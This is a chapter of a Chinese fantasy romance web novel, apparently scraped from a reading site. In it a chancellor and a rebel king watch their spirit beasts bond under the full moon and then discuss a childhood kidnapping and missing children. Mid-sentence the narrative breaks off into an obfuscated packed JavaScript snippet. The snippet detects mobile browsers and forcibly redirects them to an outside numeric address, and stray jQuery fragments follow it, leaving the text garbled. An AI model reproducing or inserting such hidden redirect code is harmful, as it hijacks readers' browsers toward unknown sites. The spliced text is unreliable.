11. 合笼

作品:《丞相,你的兽灵暴露了

    谈话就这么戛然而止。


    两人面面相觑片刻。这回,连十分不驯的南黎王都移开了视线。


    半晌。


    又忿忿然道:“赤豹不争气!下回得让它讨回来。”


    百里恭听得暗自好笑,又暗自有些汗颜:按捺不住先下手的,居然是玄犼。


    它跟着他这么多年静心修道都修到哪儿去了?


    可他也没法儿指责自己的兽灵什么。


    如果是天合,两人但凡相遇,他们的兽灵合笼几乎就是不可避免之事。


    虽然头一回放一起就成事儿也未免太迫不及待了。


    但你跟兽也说不着什么礼仪廉耻。


    它们遵循自然的法则,它们凭本能行事。


    它们真的完成了月升之礼。


    代替两个肩上有太多负累而只能自我束缚的人类。


    十五的圆月已然升起,皎洁的月光倾洒在山林间。


    崖顶这一方小天地,也仿佛真的被月神照看着一样。


    月神照看的,在南黎人的信仰中就是圣洁的。


    他们觉得月升之礼是圣洁的。


    说不定,真的是吧。


    百里恭放飞着心神想些有的没的,尽量模糊着与兽灵的相连感受,等待那两兽的灵笼成形。


    第一次,耗费了它们不少时间。


    两个没经验的家伙!


    这对它们的主人来说就很受罪好吗?


    尤其还是两个只能干瞪眼看着的主人。


    灵笼终于成形的那一刻,强烈到根本无法被忽略的感觉才堪堪断开。


    灵笼已成。下剩的,由它们怎么闹,也不会影响到主人了。


    百里恭长出了一口气。


    旃焕拿那双绿眼睛看过来,道:“我还以为丞相真的无动于衷呢。”


    百里恭默然。他是修道,又不是死了。


    这要都能无动于衷得是死得多透啊?


    其实旃焕更年轻,血气方刚的年纪,自然受影响更大一些。


    南黎王耳尖红得要滴血也似,说话的声音都带些哑。


    但他对自己受到的影响既无意掩饰,也不觉得需要掩饰。坦然得不得了。


    百里恭的视线反而不敢乱放,有礼地保持在人颈项以上。


    可这家伙平常就够好看的了,这种时候简直……


    忽然,一种极其陌生的感觉袭击了他。


    有一天,会有别的人见着这个模样的南黎王么?这个骄矜而漂亮的人也会为别人露出这样的神情么?


    仅仅是这样的念头划过,也让他心头腾起一股子无名火。


    嫉妒。


    无所不能的百里丞相这辈子还没尝过这滋味。


    眼前的这个南黎王,这个为他而眼神灼热的南黎王,他想要藏起来,不让他人窥视到哪怕一眼。


    他想要将他,据为己有。


    百里恭再次移开了视线。


    他意识到,虽然灵笼已成,但两人兽灵合笼的影响还没有过去。


    比起对他身体的影响,似乎对他心灵的影响会更持久。


    也更难熬。


    他默默地,耐心地等待这一阵焦灼过去。


    等他终于能再次抬眼看向南黎王时,那双绿瞳已经变得一片幽深。


    水波不兴。


    所以,他们的兽灵合笼,对南黎王来说,就是对他身体的影响很大,而在心理上,那影响完全可以忽略不计是么?


    夜风微凉。


    只消轻轻一拂,身心的燥热也都褪尽了。


    百里恭已经能十分淡定地瞥一眼那光团般的灵笼,道:“可能还要一会儿。我们继续聊正事吧。世子的线索,你是追查到哪儿才断掉了?”


    他递的是一个旃焕无法拒绝的话题。


    以此堵住了南黎王谈论任何其他“不重要”话题的可能性。


    南黎王的目光好像有些迷惑地闪烁了一会儿,然后瞬间恢复了清明,接下了他的问题:“当然是在郡守府。”


    说到郡守府,百里恭不得不又想起了那棵桃树上刻的那个名字,不得不问了第二次:“你的名字为什么会刻在郡守府的树上?”


    对这个问题,南黎王皱了眉。很长时间,没有回答。


    这是他第二次不回答这个问题了。


    那么,一开始又何必硬要他去发现呢?那用稚嫩的笔触刻在树上的名字。


    阿焕。


    是谁这么叫他?用如此亲昵的称呼。是谁在什么样的情况下,刻下了那两个字?


    百里丞相想要知道藏在那两个字背后的故事,甚于他想要知道那里是不是藏着什么破案的线索。


    清醒地意识到这一点,百里恭自我反省着,改了口:“你也不必什么都告诉我。捡你愿意说的——”不对!“捡你认为有助于找到线索的说便是。”


    旃焕睨了他一眼:“你不耐烦听了?”


    被月光下的那双绿眼睛这么看一眼,百里恭又笑语温和了:“如果你愿意说,我随时是洗耳恭听。”


    “我小时候被人绑架过。”这一次,旃焕很干脆地开了口。


    这不能说是完全地出乎意料之外。毕竟他是南黎王。十年前,他是南黎王世子。南黎王世子的名字,出现在牂柯郡府的一棵树上,必然有个因由。


    这是百里恭想到过的一个因由。


    最坏的那个。


    真听他证实了,百里恭心里还是一紧。


    “他们把你绑到了郡守府?”


    “我不知道他们把我绑到了哪儿,但我逃跑的时候,发现了那棵树,在那上面躲过追兵。两年之后,我凭着记忆重新找到了那棵树,发现那里成了郡守府。”


    “你的意思是,那里原本并不是郡守府?”


    旃焕想了想,摇头:“我不能确定。”语气有些懊恼。


    “殿下已经做得很好了。”百里恭道。


    彼时旃焕才十岁,被绑架的时候必然吃了不少的苦。逃出来也一定很惊险,那样极度紧张的景况下,他还能记下位置。


    两年之后他也不过才十二岁,却已经敢重新找回旧地。


    百里丞相这句褒赞,可说是讲得很由衷的。


    奈何南黎王不大领情:“别拿我当那条养尊处优的小龙!”


    养尊处优的小龙,这代指不能更明显。天子以龙为兽灵,新帝尚未成年,“小龙”一词,虽说不很恭敬,但也……没大毛病。


    毕竟,南黎王已经反了,“大不敬”之罪什么的,加不加的分别也不大。


    而且,百里恭忽然意识到,自己刚刚确实不自觉拿出了给幼帝讲课时的语气。


    但新帝几乎是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14868417|153685||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他看着从一个奶团子长这么大的。说句稍嫌僭越的话,他与新帝说是确有父子情分也不为过。


    而他与南黎王,这才见得几面?


    这小子在他这里已经是很得优待了!


    然后还给他一脸的不满意。


    百里恭无奈叹气,道:“这个交给我来查吧。郡守府的施工,就算没有留下筑造图纸,总也还找得到一些人可以问的。”


    还有,林盛任牂柯郡守是四年前的事。回头也得去查查十年前的牂柯郡守是谁。百里恭在心里默默记下。


    旃焕看了他半天,道:“你不是很想知道我十年前发生了什么么?不继续问了?”


    百里恭温声道:“不问了。”


    旃焕又看了他半天,道:“古人有言:‘天地不仁,以万物为刍狗;圣人不仁,以百姓为刍狗。’丞相离着圣人的标准,似乎还差了许多。”


    百里恭轻笑,道:“我一个凡人罢了,哪里敢与圣人相比?”


    他是一个凡人,所以知道凡人的爱恨怖憎。他不会强迫一个十岁时候有过可怕经历的人,去回想那段可怕经历的细节。


    尤其,跟南黎王试图表现出来的不一样,那段经历似乎仍旧对他有着不小的影响。


    “丞相,”旃焕忽然换了语气,也换了称呼,“本王还有一个问题想问丞相。”


    百里恭心中微动。


    这是旃焕第一次在他面前正经以“王”自称。


    这会是一个很重要的问题。


    百里恭肃然道:“南黎王请讲。”


    “丞相想必已经知道,除了王世子,南黎还有其他失踪的孩童。本王也知道,且兰城也有不少孩童失踪。”旃焕问道,“如果事有不济,在南黎的孩童和且兰的孩童之间必须做出选择的话,丞相会怎么选?”


    “我不会做那样的选择的。”百里恭想也不想地答,他看着南黎王,“殿下,臣一定会将所有的孩子,一个不落地救出来。”


    他这话其实有些托大了。


    林小公子已经死在了前头。那些孩子也不知道还有多少还活着。


    这话根本就不可信!


    但是百里丞相以他那种掌控一切的语气说出这句话来,就是让人忍不住要去相信,他真的会做到。


    他真的能做到。


    当年揽碧泽畔,熙武帝想必也是听了他用这样的语气说了什么,然后就对他深信不疑的吧?


    从九州民不聊生的战乱,到成夏千疮百孔的朝局,到黎夏边界这件诡异的失踪案,他说他能做到。


    他说了,人们就会信。


    在此之前,他也从没让人失望过。


    他说他能做到,他就真的做到了。


    短短十余年,天下战乱将平,朝廷上下一清,奄奄一息垂死的成夏,在他手里,蓬勃新生。


    从朝廷到民间,人们已经完全拿他当圣人看了好么?


    就他自己还以为自己是个凡人。


    熙武帝当年的运气不错!


    还有,他那个“臣”的自称,听在旃焕耳里,仿佛生出了什么毛茸茸的小爪子,挠得年轻的南黎王心里一阵儿一阵儿的痒。


    “啧!”旃焕轻啧了一声。到底没忍住,问了一句:“百里丞相,若是与成夏这场仗本王打赢了,不如,你就留在南黎,做本王的丞相吧!如何?”